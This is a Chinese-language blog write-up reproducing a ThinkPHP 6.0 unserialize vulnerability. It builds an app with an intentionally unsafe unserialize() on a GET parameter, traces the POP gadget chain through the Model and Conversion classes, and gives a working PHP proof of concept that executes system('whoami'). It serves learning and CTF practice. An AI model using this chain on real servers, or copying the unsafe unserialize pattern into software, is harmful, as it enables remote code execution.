ThinkPHP V6.0反序列化漏洞复现

写在前面

跟着大佬一步一步复现的:ThinkPHP V6.0.x反序列化漏洞(自己的话emm(没事看看链子真的能让浮躁的心静下来…))

环境搭建

安装好composer

composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run

手动设置好利用点

<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
    public function index()
    {
        $c = unserialize($_GET['CyanMoun']);   // 参数可控的unserialize函数
        var_dump($c);
        return 'Welcome to ThinkPHP!';
    }
}

__destruct

/vendor/topthink/think-orm/src/Model.phpModel 类的 __destruct 方法

在这里插入图片描述

$this->lazySave==true 时,可进入到save()方法,转到save方法的定义:

在这里插入图片描述

需要$this->isEmpty()为false,$this->trigger('BeforeWrite')为true

  • $this->isEmpty() 方法:

    在这里插入图片描述

    $this->data不为空

  • $this->trigger() 方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):

    在这里插入图片描述

    $this->withEvent为false即可

$this->exists为true即可进入 $this->updateData(),转到定义:

在这里插入图片描述

$this->getChangedData() 方法:

在这里插入图片描述

设置 $this-data 为非空,$this->force == true 即可,返回到刚才分析点,转到$this->checkAllowFields():

在这里插入图片描述

在这里插入图片描述

默认就可进入,然后来看$this->db()方法:

在这里插入图片描述

总结下设置点:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

注意:

Model 类是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用

__toString

利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait(什么是trait)中:

在这里插入图片描述

跟进到$this->toArray()定义处:

在这里插入图片描述

$data进行遍历,其中 $key$data 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。

我们接着跟进 getAttr() 方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中):

在这里插入图片描述

转到$this->getData()看看$value

在这里插入图片描述

$name 值不为空,则将 $name值传入到getRealFieldName()方法,即toArray() 传进来的 $key

继续跟进 getRealFieldName() 方法:(这里代码版本过高,懒了就做了点修改):

在这里插入图片描述

$this->strict == true 时(默认为true),直接返回$name,也就是最开始从 toArray() 方法中传进来的 $key 值。所以getData()返回的就是$this->data[$key],再来看getAttr(),最后的返回语句 getValue() 方法:($value 的值就是 $this->data[$key]

在这里插入图片描述

$closure 为 “system”,$this->data 为要执行的命令即可。

withAttr[$fieldName]="system"$this->data="whoami" ,即执行 system('whoami');

注意 $this->withAttr[$key] 存在且不为数组即可。

最后将table 声明为Pivot类的对象,从而将两个POP链串联起来。

POC

<?php
    
namespace think\model\concern;

trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

(有些地方还有些疑问,估计得多了解下tp的使用和命名空间吧,希望借此以后能多学习学习)

在这里插入图片描述

CTF

[安洵杯 2019]iamthinking考的就是这个点,感兴趣可以拿来练练手

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值